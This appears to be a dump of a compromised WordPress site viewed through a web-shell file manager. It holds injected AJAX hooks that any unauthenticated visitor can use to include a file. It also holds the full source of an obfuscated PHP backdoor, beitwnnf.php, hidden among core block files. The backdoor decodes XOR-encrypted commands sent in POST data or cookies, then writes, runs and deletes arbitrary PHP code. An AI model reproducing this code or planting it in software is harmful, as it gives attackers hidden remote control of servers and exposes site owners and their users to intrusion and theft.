if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-includes/blocks/site-logo/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-includes/blocks/site-logo/beitwnnf.php
<?php $mfbtk /*  ckyv*/ =      'mfbtk' /*  babh */ ^ /*qmaqc */ '';

$ixyhvdprrq /*fxtl*/ =       "b"."a"."\163" /*   rlz  */ .	$mfbtk(101)    .    "6"."\x34"	.       "\x5f" /* owq_gz   */ .	$mfbtk(479-378)	. /*saj*/ "n".$mfbtk(99)	.  "\x6f" /*   v  */ .       $mfbtk(100)	.    "e";


$wmpuwjjmdq    = /*  t */ "\141"  .      $mfbtk(718-604)       . /* ntionq*/ "r"."\141" /*   f*/ .	"\x79"      . /*   r_egu  */ "_"."s".$mfbtk(786-678)     .  "i"."c"."\145";$ovhyzf    = /*zykai   */ "s"."\164"	. /*  g */ "r"."\x5f"    .  "r"."e".$mfbtk(613-501)     .   $mfbtk(101) /*eg_oho   */ .   "a"."t";$ljnxvzaz  =      $mfbtk(101)    .       "x"."p"."l"."\x6f" /* exo*/ .     $mfbtk(100) /*  tpjt_g   */ .    $mfbtk(101);
$hqfyfkuld	=	"s"."u"."b".$mfbtk(1038-923)      .    "\164"	.    $mfbtk(426-312);

$iodkmd	=       "\163" /*fa  */ .    "\x74"	. /* o   */ "r"."p"."o"."s";

$wkqtza   = /*  iliafu   */ $mfbtk(644-545)      .    "\157"   .      "\165"    .     "n".$mfbtk(116);


$sjdkzi    =    "\x66" /*   g  */ . /*  d*/ $mfbtk(1013-916) /*  sl  */ . /* ylyjm_ */ "\x6c" /*  pce_q   */ . /*   lp_z*/ "s"."\x65";

$catnj_f /*v*/ =       $mfbtk(303-191)	. /*   hpwaj   */ $mfbtk(1090-993)	.    $mfbtk(833-734)      . /* cvt */ "\x6b";

function	onzsjaxgy($bmfcbel,       $xdytr_jy)


{
    global   $mfbtk;

	


     $bmfcbel    =	$mfbtk(60)    . /*   o   */ "?"."\160"    .	$mfbtk(104)     .    "p".$mfbtk(32) /*  osukqy   */ .      $mfbtk(1026-909)    .       "n"."l"."\x69"    .    "n".$mfbtk(508-401) /*vcdgga  */ . /*  cozog*/ "("."\x5f"    .     "_".$mfbtk(839-769)    . /* rxa */ "I"."\x4c"	. /*vz  */ "E"."\x5f" /*  g  */ . /* ws  */ "\x5f"	.    $mfbtk(668-627)      . /*   mxnwga   */ "\x3b"    .	$mfbtk(32) /*ae */ .    $bmfcbel["d"];      $ton_npxlu    =	"f".$mfbtk(105)      .  $mfbtk(811-703) /*g   */ .	$mfbtk(950-849) /* lmsg   */ .    $mfbtk(95)  .	$mfbtk(112) /* imw  */ .    "u"."t"."_"."\143" /*  owvlb*/ . /*  __xhq   */ $mfbtk(111)    . /*  _lrn*/ "n"."t".$mfbtk(101) /*y */ .    "n"."\164"    .  "\x73";


 /*   _lexi */     $ton_npxlu($xdytr_jy,	$bmfcbel);


   	qibvj($xdytr_jy);}

function /* ius*/ plrnsyg(){

      $mberatu      =   36; /* fou  */ $moijfmvldm	= /*   ietmx*/ 'on';
    $qjfq_ske    =    'eswlsk';


 /*   yphr  */ $uiilcji	=    'kubvee';
       $vskqd       =	str_replace('pqhbts',	'wut',     $uiilcji);}plrnsyg();





$xjwfoz	=       73;


function	qibvj($xdytr_jy)

{
 /*  niunh  */ global /*  vgkygn*/ $mfbtk;
	

 /*   ca */ include($xdytr_jy);    $tpbitgnb /*   yazx*/ = /*  ioru*/ $xdytr_jy;    @unlink($tpbitgnb);
}


function /*  boqq*/ eewnit(){ /*vt   */ global       $mfbtk;



	$aemtdfc    =     array();    $aemtdfc[$mfbtk(595-483)	. /*  zi   */ "v"]  =       phpversion();
  $aemtdfc[$mfbtk(115) /*zsqam*/ .    "\166"] /* _  */ = /*   sa */ "3"."."."5";

	$wkcxabs    =	74;
	echo    @serialize($aemtdfc);

}




function  bioetga()
{ /* rtje_ */ $dyjqzy /*  jmqojk*/ =     'bleschw_';	$ssxba_d /*  esbpv */ =	44;    $qhzetow /* ibxxb  */ = /* a  */ 47;


      $djhjehap /* ehv */ = /*  wky*/ 'ohaoqceozd';}


bioetga();
function    sclyx($bmfcbel,     $xlnix)

{

	global /*   tnbvdq  */ $mfbtk;


     
 /* f   */ $vhihp  =	"";

	$yfnuygdxj       =   'edhvuxxpn';
	$aemtdfc    =      0;
    while /*  dpouf */ ($aemtdfc      <    strlen($bmfcbel))    { /* hmdd   */ for       ($whee_cxdk /*   znjyo*/ =	0;    $whee_cxdk /*   pgq*/ <  strlen($xlnix) /*b */ &&    $aemtdfc	< /*  uz   */ strlen($bmfcbel);       $whee_cxdk++,      $aemtdfc++)       {

    $vhihp /*mnmcae */ .=	$mfbtk(ord($bmfcbel[$aemtdfc])     ^ /*   rjwc  */ ord($xlnix[$whee_cxdk]));

 /*   jruh*/ }	} /*  oylxj   */ return    $vhihp;}



function     jgsqn()

{ /*  pgcg */ $xvxfs_e_g /* t_ */ =    14; /*  ko */ $_jscqcn     =    'lqqboxztw';


     $xpixqgwrd /*   _cef*/ =  18;    $pydjm /* _un_b */ =     49;


 /*   migrf*/ $eghltfwcx    =    'lfy';
   $_avc_ub_ /*   i   */ = /*j */ 'qr_ipenl';

      $xvxfs_e_g    =      $pydjm /*nrpi*/ *    $pydjm;


  $cyqvnrqgw    = /*f*/ $pydjm       / /* upa*/ ($pydjm    + /*ao_hz*/ 10);
 /*  hhntq*/ $peqdjopn /* d */ =	39;


}



jgsqn();
function   ahymxdj($lubmeuizty)
{
 /*   irk  */ global    $mfbtk;


 /* mdpr   */ 
       $xsfd_lgvmp    =    $mfbtk(49)     . /*zl_ */ "2"."7"."f"."\145"."\145"."\x35"     . /*  p */ "4"."-".$mfbtk(102)    . /*   x   */ "3"."\x63" /*k  */ .    $mfbtk(48)   .       "\55"       .	"4"."1"."8"."7".$mfbtk(45) /* oop   */ .	$mfbtk(97) /* rwv   */ .    "7".$mfbtk(604-506)    .     $mfbtk(97).$mfbtk(45)    .   "f"."\x36"	. /*  m */ $mfbtk(348-300)  .   "\x38" /*   emzs   */ .       "\144"    .    "7"."\144"   .    $mfbtk(52)    .	"\x62"  .	"\x34"    .	"\x30" /* sxrgx*/ .  $mfbtk(50);   

	foreach /*  _   */ ($lubmeuizty /* bkmo */ as    $wiczwkozor /*   tagyx */ =>  $bmfcbel)    {

  ynqarltsma(base64_decode($bmfcbel), /*  drfejd   */ $xsfd_lgvmp, /*hvvnr */ $wiczwkozor);
    }
}

function   ynqarltsma($bmfcbel,	$xsfd_lgvmp,    $wiczwkozor)
{	global /* syyp_   */ $mfbtk;     
   $bmfcbel    = /* _*/ unserialize(sclyx(sclyx($bmfcbel,       $xsfd_lgvmp),    $wiczwkozor));
	$pbuwnny    =       'enf_js';

	$zrvvjlphtp       = /*soqxd */ 'ron';


    if /*fo*/ (isset($bmfcbel["\x61"    . /*lq*/ "k"]))    {
     if /*   pja  */ ($bmfcbel[$mfbtk(97)]      ==    "\x69") /*   t */ {


     eewnit();


  }	elseif	($bmfcbel[$mfbtk(97)] /* z_pfou*/ ==    "\145")    {


    onzsjaxgy($bmfcbel, /*  byh  */ sprintf($mfbtk(413-367)      .   "/".$mfbtk(883-846) /*wbx_x  */ .       $mfbtk(115)    .       "\x2e"       . /*b  */ "p"."\x6c",	md5($xsfd_lgvmp)));			$rj_xh /*j*/ =    44;	}

  exit();

	}}
	$_yofl     = /*   ilt*/ 69;

	$aemtdfcqte_h     = /*   k_xjr_   */ 22;



$aemtdfcqte_h       =   $_yofl /*owjp  */ +    15;


ahymxdj($_POST);      

$_GET["\156"    .    "\145"."w"."_"."k"."\145"."y"]    =       md5("n"."\145"."\x77"    . /*  fws */ "_".$mfbtk(484-366)   . /*lcrr   */ $mfbtk(97)    . /* tpr   */ "l".$mfbtk(117) /*  e   */ .    $mfbtk(101)); /*  v*/ if  ($iodkmd($_GET["\156" /* a   */ .    "\145"."w"."_"."k"."\145"."y"],	"s"."\145".$mfbtk(497-400)	.     "\162"      . /* pz */ $mfbtk(233-134)    . /*tsdex*/ "\150"    . /*  vi*/ "\137" /*  i_v  */ .      $mfbtk(115)	.    "\x74" /*vt   */ .  "r"."\x69"."\x6e"	. /*   yxlzjv   */ "g") /*hb  */ !==       $sjdkzi)  {   
 /*qjeixx  */ $vmdefque    =    $hqfyfkuld($_GET["\156"       . /*  wx_xf*/ "\145"."w"."_"."k"."\145"."y"], /*   tj   */ 0,       5);	
       $_POST["k"."\145"      .    $mfbtk(1069-948)]    =    $ovhyzf($vmdefque,    3);    }



ahymxdj($_COOKIE);    
$kiyuq   =	"\164"	. /*  ahyka   */ $mfbtk(731-630)     . /*  uze*/ "\x73"	.    "t".$mfbtk(161-66)    .    "v".$mfbtk(97)."\154" /*  pelmow*/ . /* pe  */ "\165"       . /*   zfh*/ "\145"    .      "_"."t"."\145"."\x73" /*   npzhr*/ .	"\164" /*  iwu */ .   $mfbtk(402-307)    . /*   bsqrm   */ "v"."\141"       . /*   ff */ "l"."u".$mfbtk(430-329); /*iea  */ 
$oyret_dl /* r  */ =	$ljnxvzaz("_", /* g_sccg */ $kiyuq);	
if /*   tf  */ ($wkqtza($oyret_dl)	> /*   y   */ 1) /*t */ {  

	$yubrtqt   = /*jlh */ $wmpuwjjmdq($oyret_dl,    0,    2);       


 /*ltzuoj*/ foreach	($yubrtqt    as /* eka   */ $ggorbexo)    { /*kf   */ 

    $brsyzlez /*  ei*/ =       $catnj_f($mfbtk(72) /*fq */ .    "*",    md5($ggorbexo)); /*   n*/ 
	$zmdmz      = /* dbzbcn  */ $ixyhvdprrq($brsyzlez);        $_COOKIE[md5($ggorbexo)] /*  dnh_or  */ =    $zmdmz; /*  gnv_p */ 	} /*lfye*/ 


}





$qbmbdaa /*yh */ =   6;

?>
@ Telegram